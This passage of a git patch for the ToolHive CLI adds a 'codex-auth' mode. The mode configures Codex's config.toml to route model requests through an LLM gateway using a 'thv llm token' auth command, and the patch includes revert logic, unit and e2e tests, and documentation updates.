"direct"/"proxy" string literals with the llmgateway.ModeCodexAuth constant. The llmgateway package already declares these as the single source of truth, so switch on the constants for all cases. Also update the now-stale ToolConfig.Mode doc comment, which still listed only "direct"/"proxy" though "codex-auth" is now a valid value. Co-Authored-By: Claude Opus 4.8 --------- Co-authored-by: Juan Antonio Osorio Co-authored-by: Claude Opus 4.8 --- cmd/thv/app/llm.go | 8 +- docs/cli/thv_llm_setup.md | 8 +- pkg/client/config.go | 6 + pkg/client/llm_gateway.go | 16 ++ pkg/client/llm_gateway_codex.go | 139 +++++++++++++++++ pkg/client/llm_gateway_codex_test.go | 216 +++++++++++++++++++++++++++ pkg/llm/config.go | 3 +- pkg/llm/setup.go | 62 +++++++- pkg/llm/setup_test.go | 89 +++++++++++ pkg/llmgateway/config.go | 20 ++- pkg/llmgateway/config_test.go | 4 + test/e2e/cli_llm_all_clients_test.go | 85 +++++++++++ 12 files changed, 642 insertions(+), 14 deletions(-) create mode 100644 pkg/client/llm_gateway_codex.go create mode 100644 pkg/client/llm_gateway_codex_test.go diff --git a/cmd/thv/app/llm.go b/cmd/thv/app/llm.go index a5aec8ae39..4a740f075f 100644 --- a/cmd/thv/app/llm.go +++ b/cmd/thv/app/llm.go @@ -235,8 +235,8 @@ func newLLMSetupCommand() *cobra.Command { Use: "setup", Short: "Configure detected AI tools to use the LLM gateway", Long: `Detect installed AI tools (Claude Code, Gemini CLI, Cursor, VS Code, Xcode, -Claude Desktop) and patch each tool's configuration to route through the LLM -gateway. +Claude Desktop, Codex) and patch each tool's configuration to route through the +LLM gateway. Token-helper tools (Claude Code, Gemini CLI) are configured to call "thv llm token" to obtain a fresh OIDC token on demand. @@ -246,6 +246,10 @@ which also calls "thv llm token". It reads its configuration only at launch, so fully quit and relaunch it after setup. Pass --models to list the models it should offer until the gateway serves model discovery itself. +Codex is configured with a custom model_provider in ~/.codex/config.toml whose +auth command invokes "thv llm token" directly (no shell), keeping the existing +model_providers and mcp_servers entries in that file untouched. + Proxy-mode tools (Cursor, VS Code, Xcode) are configured to send requests to the localhost reverse proxy started by "thv llm proxy start". diff --git a/docs/cli/thv_llm_setup.md b/docs/cli/thv_llm_setup.md index d7f9ffadac..672d583003 100644 --- a/docs/cli/thv_llm_setup.md +++ b/docs/cli/thv_llm_setup.md @@ -16,8 +16,8 @@ Configure detected AI tools to use the LLM gateway ### Synopsis Detect installed AI tools (Claude Code, Gemini CLI, Cursor, VS Code, Xcode, -Claude Desktop) and patch each tool's configuration to route through the LLM -gateway. +Claude Desktop, Codex) and patch each tool's configuration to route through the +LLM gateway. Token-helper tools (Claude Code, Gemini CLI) are configured to call "thv llm token" to obtain a fresh OIDC token on demand. @@ -27,6 +27,10 @@ which also calls "thv llm token". It reads its configuration only at launch, so fully quit and relaunch it after setup. Pass --models to list the models it should offer until the gateway serves model discovery itself. +Codex is configured with a custom model_provider in ~/.codex/config.toml whose +auth command invokes "thv llm token" directly (no shell), keeping the existing +model_providers and mcp_servers entries in that file untouched. + Proxy-mode tools (Cursor, VS Code, Xcode) are configured to send requests to the localhost reverse proxy started by "thv llm proxy start". diff --git a/pkg/client/config.go b/pkg/client/config.go index 48bde567b9..dfa73b0146 100644 --- a/pkg/client/config.go +++ b/pkg/client/config.go @@ -917,6 +917,12 @@ var supportedClientIntegrations = []clientAppConfig{ // reference it with a relative "./toolhive/" source. PluginsGlobalPath: []string{".agents", "plugins", "toolhive"}, PluginsProjectPath: []string{".agents", "plugins", "toolhive"}, + // LLM gateway: patches the same config.toml its MCP config uses, via a + // dedicated TOML writer (llm_gateway_codex.go) rather than LLMGatewayKeys. + LLMGatewayMode: llmgateway.ModeCodexAuth, + LLMBinaryName: "codex", + LLMSettingsFile: "config.toml", + LLMSettingsRelPath: []string{".codex"}, }, { ClientType: KimiCli, diff --git a/pkg/client/llm_gateway.go b/pkg/client/llm_gateway.go index c1d5c35d76..c3c3a00d99 100644 --- a/pkg/client/llm_gateway.go +++ b/pkg/client/llm_gateway.go @@ -46,6 +46,11 @@ func (cm *ClientManager) ConfigureLLMGateway(clientType ClientApp, cfg llmgatewa if appCfg.LLMGatewayMode == llmgateway.ModeCredentialHelper { return cm.configureCredentialHelper(appCfg, cfg) } + // Codex's config is TOML, not JSON, and authenticates via a command-backed + // bearer token rather than JSON-Pointer keys; dispatch to its writer. + if appCfg.LLMGatewayMode == llmgateway.ModeCodexAuth { + return cm.configureCodexAuth(appCfg, cfg) + } path := cm.buildLLMSettingsPath(appCfg) @@ -178,7 +183,18 @@ func (cm *ClientManager) RevertLLMGateway(clientType ClientApp, configPath strin if appCfg.LLMGatewayMode == llmgateway.ModeCredentialHelper { return cm.revertCredentialHelper(appCfg, configPath) } + // Codex reverts via its dedicated TOML writer. + if appCfg.LLMGatewayMode == llmgateway.ModeCodexAuth { + return cm.revertCodexAuth(appCfg, configPath) + } + + return revertJSONPointerGateway(appCfg, configPath) +} +// revertJSONPointerGateway removes appCfg.LLMGatewayKeys from configPath, the +// JSON-Pointer-based revert path shared by every LLM-gateway mode except +// ModeCredentialHelper and ModeCodexAuth (which use dedicated writers). +func revertJSONPointerGateway(appCfg *clientAppConfig, configPath string) error { // Guard against a missing file (or deleted parent directory) before trying // to acquire the lock — WithFileLock creates configPath+".lock", which // fails when the directory no longer exists. diff --git a/pkg/client/llm_gateway_codex.go b/pkg/client/llm_gateway_codex.go new file mode 100644 index 0000000000..6840b01c5c --- /dev/null +++ b/pkg/client/llm_gateway_codex.go @@ -0,0 +1,139 @@ +// SPDX-FileCopyrightText: Copyright 2026 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package client + +import ( + "fmt" + "os" + "path/filepath" + "strings" + + "github.com/stacklok/toolhive/pkg/fileutils" + "github.com/stacklok/toolhive/pkg/llmgateway" +) + +// Codex's LLM gateway config lives in the same config.toml its MCP-server +// registration already uses (~/.codex/config.toml). Unlike the JSON-Pointer +// LLMGatewayKeys clients, Codex authenticates via a command-backed bearer +// token ([model_providers..auth]), so it gets a dedicated TOML writer +// here rather than going through the hujson JSON-Pointer machinery, which +// cannot write TOML at all. + +// codexProviderID is the stable table name ToolHive owns under +// [model_providers.]. Reusing a fixed id (rather than minting one per +// run) keeps repeated "thv llm setup" calls idempotent and avoids orphaned +// tables, mirroring the fixed-name approach configureCredentialHelper uses +// for Claude Desktop's _meta.json entry. +const codexProviderID = "toolhive-gateway" + +// codexBaseURL returns gatewayURL with a "/v1" suffix, avoiding a double +// "/v1/v1" if the configured gateway URL already ends in one (e.g. a gateway +// mounted behind its own "/v1" path prefix). +func codexBaseURL(gatewayURL string) string { + base := strings.TrimSuffix(gatewayURL, "/") + if strings.HasSuffix(base, "/v1") { + return base + } + return base + "/v1" +} + +// configureCodexAuth writes (or updates) ToolHive's model_provider entry in +// Codex's config.toml: a custom provider pointed at the LLM gateway, +// authenticated via a command that invokes "thv llm token". Any other +// model_providers entries and the mcp_servers table (used by the unrelated +// MCP-client feature) are left untouched. Returns the config file path, which +// RevertLLMGateway later passes back to revertCodexAuth. +func (cm *ClientManager) configureCodexAuth(appCfg *clientAppConfig, cfg llmgateway.ApplyConfig) (string, error) { + if cfg.TokenHelperPath == "" || len(cfg.TokenHelperArgs) == 0 { + return "", fmt.Errorf("codex-auth requires TokenHelperPath and TokenHelperArgs to be set") + } + + path := cm.buildLLMSettingsPath(appCfg) + if err := os.MkdirAll(filepath.Dir(path), 0o700); err != nil { + return "", fmt.Errorf("creating %s: %w", filepath.Dir(path), err) + } + + err := fileutils.WithFileLock(path, func() error { + config, err := readTOMLConfig(path) + if err != nil { + return err + } + + config["model_provider"] = codexProviderID + + // Refuse to overwrite a pre-existing model_providers that isn't a table + // (malformed file, or a future Codex schema): clobbering it would silently + // destroy the user's config. The revert path makes the same ok check. + providers, ok := config["model_providers"].(map[string]any) + if existing, present := config["model_providers"]; present && !ok { + return fmt.Errorf("existing model_providers in %s is not a table (%T); refusing to overwrite", path, existing) + } + if providers == nil { + providers = map[string]any{} + } + providers[codexProviderID] = map[string]any{ + "name": "ToolHive Gateway", + // Codex's Responses-API client appends "/responses" directly to + // base_url (the same convention OpenAI's own base_url="…/v1" uses), + // so the gateway's "/v1" prefix must be baked in here rather than + // left to the caller like AnthropicBaseURL's optional prefix. + "base_url": codexBaseURL(cfg.GatewayURL), + "wire_api": "responses", + "auth": map[string]any{ + "command": cfg.TokenHelperPath, + "args": cfg.TokenHelperArgs, + // How often Codex re-invokes the token helper. Kept in sync with the + // TTL the other clients write (see pkg/llmgateway constants) so the + // token source's preemptive-refresh invariant holds for Codex too. + "refresh_interval_ms": llmgateway.CodexHelperTTL.Milliseconds(), + }, + } + config["model_providers"] = providers + + return writeTOMLConfig(path, config) + }) + if err != nil { + return "", err + } + return path, nil +} + +// revertCodexAuth undoes configureCodexAuth: it removes ToolHive's +// model_providers. table (leaving any other providers untouched) and +// clears model_provider only if it still points at ToolHive's entry — a value +// changed since setup (by the user or another tool) is left alone, mirroring +// revertCredentialHelper's appliedId check for Claude Desktop. A missing file +// is treated as already-reverted. +// +// Revert removes model_provider rather than restoring whatever it was before +// setup: configureCodexAuth does not stash the prior selection, so a user who +// had e.g. model_provider = "openai" before setup is left with none after +// revert (Codex then falls back to its own default). +func (*ClientManager) revertCodexAuth(_ *clientAppConfig, configPath string) error { + if configPath == "" || !fileExistsAt(configPath) { + return nil + } + + return fileutils.WithFileLock(configPath, func() error { + config, err := readTOMLConfig(configPath) + if err != nil { + return err + } + + if providers, ok := config["model_providers"].(map[string]any); ok { + delete(providers, codexProviderID) + if len(providers) == 0 { + delete(config, "model_providers") + } else { + config["model_providers"] = providers + } + } + + if provider, ok := config["model_provider"].(string); ok && provider == codexProviderID { + delete(config, "model_provider") + } + + return writeTOMLConfig(configPath, config) + }) +} diff --git a/pkg/client/llm_gateway_codex_test.go b/pkg/client/llm_gateway_codex_test.go new file mode 100644 index 0000000000..b521d4c89c --- /dev/null +++ b/pkg/client/llm_gateway_codex_test.go @@ -0,0 +1,216 @@ +// SPDX-FileCopyrightText: Copyright 2026 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package client + +import ( + "os" + "path/filepath" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/stacklok/toolhive/pkg/llmgateway" +) + +// newCodexManager returns a ClientManager rooted at a temp home with the real +// Codex integration, plus the resolved config.toml path. +func newCodexManager(t *testing.T) (*ClientManager, string) { + t.Helper() + home := t.TempDir() + cm := NewTestClientManager(home, nil, supportedClientIntegrations, nil) + cfg := cm.lookupClientAppConfig(ClientApp(Codex)) + require.NotNil(t, cfg, "Codex must be a supported integration") + require.Equal(t, llmgateway.ModeCodexAuth, cfg.LLMGatewayMode, "Codex must use the codex-auth model") + return cm, cm.buildLLMSettingsPath(cfg) +} + +func codexApplyCfg() llmgateway.ApplyConfig { + return llmgateway.ApplyConfig{ + GatewayURL: "https://gw.example.com", + TokenHelperPath: "/usr/local/bin/thv", + TokenHelperArgs: []string{"llm", "token", "--skip-browser"}, + } +} + +func TestConfigureCodexAuth_WritesProviderAndAuth(t *testing.T) { + t.Parallel() + cm, configPath := newCodexManager(t) + + path, err := cm.ConfigureLLMGateway(ClientApp(Codex), codexApplyCfg()) + require.NoError(t, err) + assert.Equal(t, configPath, path) + + config, err := readTOMLConfig(configPath) + require.NoError(t, err) + + assert.Equal(t, codexProviderID, config["model_provider"]) + providers, ok := config["model_providers"].(map[string]any) + require.True(t, ok) + provider, ok := providers[codexProviderID].(map[string]any) + require.True(t, ok) + assert.Equal(t, "ToolHive Gateway", provider["name"]) + assert.Equal(t, "https://gw.example.com/v1", provider["base_url"]) + assert.Equal(t, "responses", provider["wire_api"]) + + auth, ok := provider["auth"].(map[string]any) + require.True(t, ok) + assert.Equal(t, "/usr/local/bin/thv", auth["command"]) + assert.Equal(t, []any{"llm", "token", "--skip-browser"}, auth["args"]) + assert.Equal(t, llmgateway.CodexHelperTTL.Milliseconds(), auth["refresh_interval_ms"], + "refresh_interval_ms keeps Codex's token-helper cadence in sync with the refresh window") +} + +func TestConfigureCodexAuth_RejectsNonTableModelProviders(t *testing.T) { + t.Parallel() + cm, configPath := newCodexManager(t) + + // A malformed (or future-schema) config where model_providers is not a table. + // Setup must refuse rather than silently overwrite the user's value. + require.NoError(t, os.MkdirAll(filepath.Dir(configPath), 0o700)) + require.NoError(t, writeTOMLConfig(configPath, map[string]any{"model_providers": "garbage"})) + + _, err := cm.ConfigureLLMGateway(ClientApp(Codex), codexApplyCfg()) + require.Error(t, err) + + config, err := readTOMLConfig(configPath) + require.NoError(t, err) + assert.Equal(t, "garbage", config["model_providers"], "the user's original value must be left untouched") +} + +func TestConfigureCodexAuth_IsIdempotent(t *testing.T) { + t.Parallel() + cm, configPath := newCodexManager(t) + + first, err := cm.ConfigureLLMGateway(ClientApp(Codex), codexApplyCfg()) + require.NoError(t, err) + second, err := cm.ConfigureLLMGateway(ClientApp(Codex), codexApplyCfg()) + require.NoError(t, err) + assert.Equal(t, first, second) + + config, err := readTOMLConfig(configPath) + require.NoError(t, err) + providers, ok := config["model_providers"].(map[string]any) + require.True(t, ok) + assert.Len(t, providers, 1, "repeated setup must not duplicate the provider entry") +} + +func TestConfigureCodexAuth_PreservesForeignEntries(t *testing.T) { + t.Parallel() + cm, configPath := newCodexManager(t) + + // Seed a user-owned provider and an unrelated mcp_servers table, the way the + // existing MCP-client feature or the user's own edits would. + require.NoError(t, os.MkdirAll(filepath.Dir(configPath), 0o700)) + seed := map[string]any{ + "model_providers": map[string]any{ + "my-bedrock": map[string]any{"name": "My Bedrock"}, + }, + "mcp_servers": map[string]any{ + "github": map[string]any{"command": "docker"}, + }, + } + require.NoError(t, writeTOMLConfig(configPath, seed)) + + _, err := cm.ConfigureLLMGateway(ClientApp(Codex), codexApplyCfg()) + require.NoError(t, err) + + config, err := readTOMLConfig(configPath) + require.NoError(t, err) + providers, ok := config["model_providers"].(map[string]any) + require.True(t, ok) + assert.Len(t, providers, 2, "the foreign provider must survive alongside ours") + _, ok = providers["my-bedrock"] + assert.True(t, ok, "foreign provider must be untouched") + + mcpServers, ok := config["mcp_servers"].(map[string]any) + require.True(t, ok) + assert.Contains(t, mcpServers, "github", "unrelated mcp_servers table must be untouched") +} + +func TestRevertCodexAuth_RemovesProviderOnly(t *testing.T) { + t.Parallel() + cm, configPath := newCodexManager(t) + + require.NoError(t, os.MkdirAll(filepath.Dir(configPath), 0o700)) + seed := map[string]any{ + "model_providers": map[string]any{ + "my-bedrock": map[string]any{"name": "My Bedrock"}, + }, + } + require.NoError(t, writeTOMLConfig(configPath, seed)) + + path, err := cm.ConfigureLLMGateway(ClientApp(Codex), codexApplyCfg()) + require.NoError(t, err) + + require.NoError(t, cm.RevertLLMGateway(ClientApp(Codex), path)) + + config, err := readTOMLConfig(configPath) + require.NoError(t, err) + _, hasProvider := config["model_provider"] + assert.False(t, hasProvider, "model_provider must be cleared since it pointed at ours") + providers, ok := config["model_providers"].(map[string]any) + require.True(t, ok) + assert.Len(t, providers, 1, "only our provider entry should be removed") + _, ok = providers["my-bedrock"] + assert.True(t, ok, "foreign provider must survive revert") +} + +func TestRevertCodexAuth_LeavesForeignModelProviderIntact(t *testing.T) { + t.Parallel() + cm, configPath := newCodexManager(t) + + path, err := cm.ConfigureLLMGateway(ClientApp(Codex), codexApplyCfg()) + require.NoError(t, err) + + // Simulate the user (or another tool) selecting a different provider after setup. + config, err := readTOMLConfig(configPath) + require.NoError(t, err) + config["model_provider"] = "my-bedrock" + require.NoError(t, writeTOMLConfig(configPath, config)) + + require.NoError(t, cm.RevertLLMGateway(ClientApp(Codex), path)) + + config, err = readTOMLConfig(configPath) + require.NoError(t, err) + assert.Equal(t, "my-bedrock", config["model_provider"], "a changed selection must not be clobbered by revert") +} + +func TestConfigureCodexAuth_RejectsMissingTokenHelper(t *testing.T) { + t.Parallel() + cm, _ := newCodexManager(t) + + _, err := cm.ConfigureLLMGateway(ClientApp(Codex), llmgateway.ApplyConfig{ + GatewayURL: "https://gw.example.com", + }) + require.Error(t, err) +} + +func TestCodexBaseURL(t *testing.T) { + t.Parallel() + tests := []struct { + name string + gatewayURL string + want string + }{ + {"appends v1", "https://gw.example.com", "https://gw.example.com/v1"}, + {"trims trailing slash before appending", "https://gw.example.com/", "https://gw.example.com/v1"}, + {"does not double-append existing v1 suffix", "https://gw.example.com/v1", "https://gw.example.com/v1"}, + {"does not double-append with trailing slash", "https://gw.example.com/v1/", "https://gw.example.com/v1"}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + assert.Equal(t, tt.want, codexBaseURL(tt.gatewayURL)) + }) + } +} + +func TestRevertCodexAuth_MissingFileIsNoOp(t *testing.T) { + t.Parallel() + cm, configPath := newCodexManager(t) + + require.NoError(t, cm.RevertLLMGateway(ClientApp(Codex), configPath)) + assert.NoFileExists(t, configPath) +} diff --git a/pkg/llm/config.go b/pkg/llm/config.go index 9c2a0fb810..0731d7c773 100644 --- a/pkg/llm/config.go +++ b/pkg/llm/config.go @@ -42,7 +42,8 @@ type ProxyConfig struct { type ToolConfig struct { // Tool is the canonical tool identifier (e.g. "claude-code", "cursor"). Tool string `yaml:"tool" json:"tool"` - // Mode is the authentication mode: "direct" or "proxy". + // Mode is the authentication mode: one of the llmgateway.Mode* values + // ("direct", "proxy", "credential-helper", "codex-auth"). Mode string `yaml:"mode" json:"mode"` // ConfigPath is the absolute path to the tool's config file that was patched. ConfigPath string `yaml:"config_path" json:"config_path"` diff --git a/pkg/llm/setup.go b/pkg/llm/setup.go index de72e40589..fbd7cffd62 100644 --- a/pkg/llm/setup.go +++ b/pkg/llm/setup.go @@ -87,11 +87,6 @@ func Setup( return fmt.Errorf("LLM gateway is not configured — run \"thv llm config set\" first") } - tokenHelperCommand, err := buildTokenHelperCommand() - if err != nil { - return err - } - proxyBaseURL := fmt.Sprintf("http://localhost:%d/v1", llmCfg.EffectiveProxyPort()) // Detect tools before login so we skip the interactive browser flow when @@ -107,6 +102,21 @@ func Setup( return nil } + // Only build the shell-string token helper if a detected tool actually + // consumes it — its shell-safety check on the thv executable path would + // otherwise fail setup for e.g. a Codex-only run, which never uses it. + var tokenHelperCommand string + if tokenHelperCommandNeeded(gm, detected) { + tokenHelperCommand, err = buildTokenHelperCommand() + if err != nil { + return err + } + } + tokenHelperPath, tokenHelperArgs, err := buildTokenHelperArgv() + if err != nil { + return err + } + // In lazy mode the interactive login is deferred until a configured tool // first accesses the gateway (via "thv llm token" or the proxy). Everything // below — tool detection, file patching, config persistence — is @@ -134,7 +144,7 @@ func Setup( configured, err := configureDetectedTools( out, errOut, gm, detected, llmCfg.GatewayURL, proxyBaseURL, tokenHelperCommand, - llmCfg.TLSSkipVerify, anthropicPrefix, models, + tokenHelperPath, tokenHelperArgs, llmCfg.TLSSkipVerify, anthropicPrefix, models, ) if err != nil { return err @@ -298,13 +308,13 @@ func warnTLSSkipVerify(errOut io.Writer, skip bool, configured []ToolConfig) { } for _, tc := range configured { switch tc.Mode { - case "direct": + case llmgateway.ModeDirect: _, _ = fmt.Fprintf(errOut, "Warning: %s uses direct mode — NODE_TLS_REJECT_UNAUTHORIZED=0 has been written to its "+ "settings, disabling TLS certificate verification for ALL of %s's outbound connections "+ "(LLM provider APIs, MCP registry, etc.), not just the LLM gateway. "+ "Use only in isolated local environments.\n", tc.Tool, tc.Tool) - case "proxy": + case llmgateway.ModeProxy: if tc.Tool == "gemini-cli" { _, _ = fmt.Fprintf(errOut, "Note: --tls-skip-verify is not supported for Gemini CLI "+ @@ -315,6 +325,11 @@ func warnTLSSkipVerify(errOut io.Writer, skip bool, configured []ToolConfig) { "Warning: %s uses proxy mode — TLS certificate verification is disabled for the "+ "proxy's upstream gateway connection only. Use only in isolated local environments.\n", tc.Tool) } + case llmgateway.ModeCodexAuth: + _, _ = fmt.Fprintf(errOut, + "Warning: --tls-skip-verify was NOT applied to %s — its config.toml has no "+ + "TLS-skip option. Codex will fail against a self-signed gateway until you "+ + "trust the certificate in the system store.\n", tc.Tool) } } } @@ -342,6 +357,7 @@ func configureDetectedTools( gm GatewayManager, detected []string, gatewayURL, proxyBaseURL, tokenHelperCommand string, + tokenHelperPath string, tokenHelperArgs []string, tlsSkipVerify bool, anthropicPathPrefix string, models []string, @@ -368,6 +384,8 @@ func configureDetectedTools( AnthropicBaseURL: anthropicBaseURL, ProxyBaseURL: proxyBaseURL, TokenHelperCommand: tokenHelperCommand, + TokenHelperPath: tokenHelperPath, + TokenHelperArgs: tokenHelperArgs, TLSSkipVerify: tlsSkipVerify, Models: models, } @@ -463,6 +481,20 @@ func probeAnthropicPrefix(ctx context.Context, gatewayURL string, tlsSkipVerify return "" } +// tokenHelperCommandNeeded reports whether any detected client's mode consumes +// the shell-string token helper (TokenHelperCommand) — direct-mode's +// apiKeyHelper-style JSON-Pointer clients and Claude Desktop's credential +// helper. Proxy-mode tools and Codex (argv-based auth) never use it. +func tokenHelperCommandNeeded(gm GatewayManager, detected []string) bool { + for _, clientType := range detected { + switch gm.LLMGatewayModeFor(clientType) { + case llmgateway.ModeDirect, llmgateway.ModeCredentialHelper: + return true + } + } + return false +} + // buildTokenHelperCommand returns the shell command string used as the // token-helper for direct-mode tools. It rejects executable paths that contain // shell metacharacters, since the command is written verbatim into long-lived @@ -490,6 +522,20 @@ func buildTokenHelperCommand() (string, error) { return fmt.Sprintf(`"%s" llm token`, self), nil } +// buildTokenHelperArgv returns the argv-form of the token helper, for config +// formats that invoke an executable directly (no shell) — e.g. Codex's +// [model_providers..auth] command/args table. Since args are passed as a +// TOML array rather than interpolated into a shell string, no shell-metacharacter +// validation is needed. --skip-browser is always included since Codex has no +// interactive-context signal like Claude Desktop's credential-helper shim. +func buildTokenHelperArgv() (string, []string, error) { + self, err := os.Executable() + if err != nil { + return "", nil, fmt.Errorf("resolving thv executable path: %w", err) + } + return self, []string{"llm", "token", "--skip-browser"}, nil +} + // usesAnthropicBaseURL reports whether a client mode consumes the Anthropic base // URL (gateway + /anthropic prefix): direct mode via ANTHROPIC_BASE_URL, and // credential-helper mode (Claude Desktop) via inferenceGatewayBaseUrl. diff --git a/pkg/llm/setup_test.go b/pkg/llm/setup_test.go index 386a6ced72..fce54f9282 100644 --- a/pkg/llm/setup_test.go +++ b/pkg/llm/setup_test.go @@ -297,6 +297,7 @@ func TestConfigureDetectedTools_PathPrefixAppendedForDirectMode(t *testing.T) { &out, &errOut, gm, []string{"claude-code"}, "https://gw.example.com", "http://localhost:14000/v1", `"thv" llm token`, + "/usr/local/bin/thv", []string{"llm", "token", "--skip-browser"}, false, "/anthropic", nil, ) require.NoError(t, err) @@ -317,6 +318,7 @@ func TestConfigureDetectedTools_NoPrefixWhenEmpty(t *testing.T) { &out, &errOut, gm, []string{"claude-code"}, "https://gw.example.com", "http://localhost:14000/v1", `"thv" llm token`, + "/usr/local/bin/thv", []string{"llm", "token", "--skip-browser"}, false, "", nil, // no prefix ) require.NoError(t, err) @@ -336,6 +338,7 @@ func TestConfigureDetectedTools_PrefixNotAppliedForProxyMode(t *testing.T) { &out, &errOut, gm, []string{"cursor"}, "https://gw.example.com", "http://localhost:14000/v1", `"thv" llm token`, + "/usr/local/bin/thv", []string{"llm", "token", "--skip-browser"}, false, "/anthropic", nil, ) require.NoError(t, err) @@ -345,6 +348,92 @@ func TestConfigureDetectedTools_PrefixNotAppliedForProxyMode(t *testing.T) { assert.Empty(t, gm.applied[0].AnthropicBaseURL) } +func TestTokenHelperCommandNeeded(t *testing.T) { + t.Parallel() + tests := []struct { + name string + modes map[string]string + detected []string + want bool + }{ + { + name: "codex-only run never needs the shell-string helper", + modes: map[string]string{"codex": llmgateway.ModeCodexAuth}, + detected: []string{"codex"}, + want: false, + }, + { + name: "proxy-only run never needs the shell-string helper", + modes: map[string]string{"cursor": llmgateway.ModeProxy}, + detected: []string{"cursor"}, + want: false, + }, + { + name: "direct mode needs it", + modes: map[string]string{"claude-code": llmgateway.ModeDirect}, + detected: []string{"claude-code"}, + want: true, + }, + { + name: "credential-helper mode needs it", + modes: map[string]string{"claude-desktop": llmgateway.ModeCredentialHelper}, + detected: []string{"claude-desktop"}, + want: true, + }, + { + name: "any detected tool needing it is enough", + modes: map[string]string{ + "codex": llmgateway.ModeCodexAuth, + "claude-code": llmgateway.ModeDirect, + }, + detected: []string{"codex", "claude-code"}, + want: true, + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + gm := &modeLookupGatewayManager{modes: tt.modes} + assert.Equal(t, tt.want, tokenHelperCommandNeeded(gm, tt.detected)) + }) + } +} + +// modeLookupGatewayManager is a minimal GatewayManager whose LLMGatewayModeFor +// returns a per-client mode from a fixed map, for tokenHelperCommandNeeded tests. +type modeLookupGatewayManager struct{ modes map[string]string } + +func (*modeLookupGatewayManager) DetectedLLMGatewayClients() []string { return nil } +func (*modeLookupGatewayManager) ConfigureLLMGateway(_ string, _ llmgateway.ApplyConfig) (string, error) { + return "", nil +} +func (g *modeLookupGatewayManager) LLMGatewayModeFor(c string) string { return g.modes[c] } +func (*modeLookupGatewayManager) IsManaged(_ string) bool { return false } +func (*modeLookupGatewayManager) ConfigureEnvFile(_ string, _ llmgateway.ApplyConfig) (string, error) { + return "", nil +} +func (*modeLookupGatewayManager) RevertEnvFile(_, _ string) error { return nil } +func (*modeLookupGatewayManager) RevertLLMGateway(_, _ string) error { return nil } + +func TestBuildTokenHelperArgv(t *testing.T) { + t.Parallel() + + path, args, err := buildTokenHelperArgv() + require.NoError(t, err) + assert.NotEmpty(t, path) + assert.Equal(t, []string{"llm", "token", "--skip-browser"}, args) +} + +func TestWarnTLSSkipVerify_CodexWarning(t *testing.T) { + t.Parallel() + + var errOut bytes.Buffer + warnTLSSkipVerify(&errOut, true, []ToolConfig{{Tool: "codex", Mode: llmgateway.ModeCodexAuth}}) + out := errOut.String() + assert.Contains(t, out, "Warning:") + assert.Contains(t, out, "was NOT applied to codex") +} + // ── probeAnthropicPrefix ────────────────────────────────────────────────────── func TestProbeAnthropicPrefix_Returns_Anthropic_On_401(t *testing.T) { diff --git a/pkg/llmgateway/config.go b/pkg/llmgateway/config.go index 09fcf21a8b..ce0c436890 100644 --- a/pkg/llmgateway/config.go +++ b/pkg/llmgateway/config.go @@ -39,6 +39,13 @@ const ClaudeDesktopHelperTTL = ClaudeCodeHelperTTL // performs up front so the steady-state helper call stays fast. const ClaudeDesktopHelperTimeout = 30 * time.Second +// CodexHelperTTL is written to config.toml as +// [model_providers..auth].refresh_interval_ms: how often Codex re-invokes +// the token helper ("thv llm token"). Kept equal to ClaudeCodeHelperTTL so the +// same LLMTokenRefreshWindow invariant holds — every invocation in the final +// window forces a refresh, so Codex never receives an about-to-expire token. +const CodexHelperTTL = ClaudeCodeHelperTTL + // LLM gateway client modes. The single source of truth dispatched on in // pkg/client (ConfigureLLMGateway/RevertLLMGateway) and pkg/llm // (usesAnthropicBaseURL/warnCredentialHelperTools). Kept here so both packages @@ -52,6 +59,12 @@ const ( // ModeCredentialHelper routes traffic through a document + selector + // helper-script model (Claude Desktop's third-party inference surface). ModeCredentialHelper = "credential-helper" //nolint:gosec // G101: mode identifier, not a credential + // ModeCodexAuth routes traffic through a custom model_provider written into + // Codex's TOML config, using Codex's command-backed bearer-token auth + // ([model_providers..auth]) to invoke the token helper directly (no + // shell), rather than the JSON-Pointer LLMGatewayKeys mechanism the other + // modes share. + ModeCodexAuth = "codex-auth" //nolint:gosec // G101: mode identifier, not a credential ) // ProxyOriginOf returns rawURL with its path, query, fragment, and userinfo @@ -85,7 +98,12 @@ type ApplyConfig struct { AnthropicBaseURL string // direct-mode: effective ANTHROPIC_BASE_URL (gateway + optional path prefix) ProxyBaseURL string // proxy-mode: URL of the localhost reverse proxy TokenHelperCommand string // direct-mode: shell command that prints a fresh token - TLSSkipVerify bool // when true, instruct the tool to skip TLS verification + // TokenHelperPath and TokenHelperArgs are the argv-form of the token helper, + // for config formats where auth invokes an executable directly (no shell) — + // e.g. Codex's [model_providers..auth] command/args table. + TokenHelperPath string + TokenHelperArgs []string + TLSSkipVerify bool // when true, instruct the tool to skip TLS verification // Models is the optional explicit model list written to clients that support // a model override (e.g. Claude Desktop's inferenceModels). Empty means the // client falls back to gateway-side model auto-discovery. diff --git a/pkg/llmgateway/config_test.go b/pkg/llmgateway/config_test.go index 71933afbe1..1315eb6819 100644 --- a/pkg/llmgateway/config_test.go +++ b/pkg/llmgateway/config_test.go @@ -28,6 +28,10 @@ func TestRefreshWindowExceedsHelperTTL(t *testing.T) { assert.Equal(t, int64(300000), llmgateway.ClaudeCodeHelperTTL.Milliseconds(), "helper TTL is written to settings.json in milliseconds") assert.Equal(t, 10*time.Minute, llmgateway.LLMTokenRefreshWindow) + + // Codex writes refresh_interval_ms and relies on the same invariant. + assert.Greater(t, llmgateway.LLMTokenRefreshWindow, llmgateway.CodexHelperTTL, + "refresh window must exceed Codex's helper TTL for the same reason it exceeds Claude Code's") } func TestProxyOriginOf(t *testing.T) { diff --git a/test/e2e/cli_llm_all_clients_test.go b/test/e2e/cli_llm_all_clients_test.go index 78fa1f971b..dac6de2817 100644 --- a/test/e2e/cli_llm_all_clients_test.go +++ b/test/e2e/cli_llm_all_clients_test.go @@ -16,6 +16,7 @@ import ( . "github.com/onsi/ginkgo/v2" . "github.com/onsi/gomega" + "github.com/pelletier/go-toml/v2" "github.com/stacklok/toolhive/pkg/auth/tokensource" "github.com/stacklok/toolhive/pkg/llm" @@ -1069,6 +1070,90 @@ var _ = Describe("thv llm — all-client matrix", Label("cli", "llm", "clients", }) }) + Describe("codex (codex-auth) setup and teardown", func() { + // Codex's LLM gateway config lives in 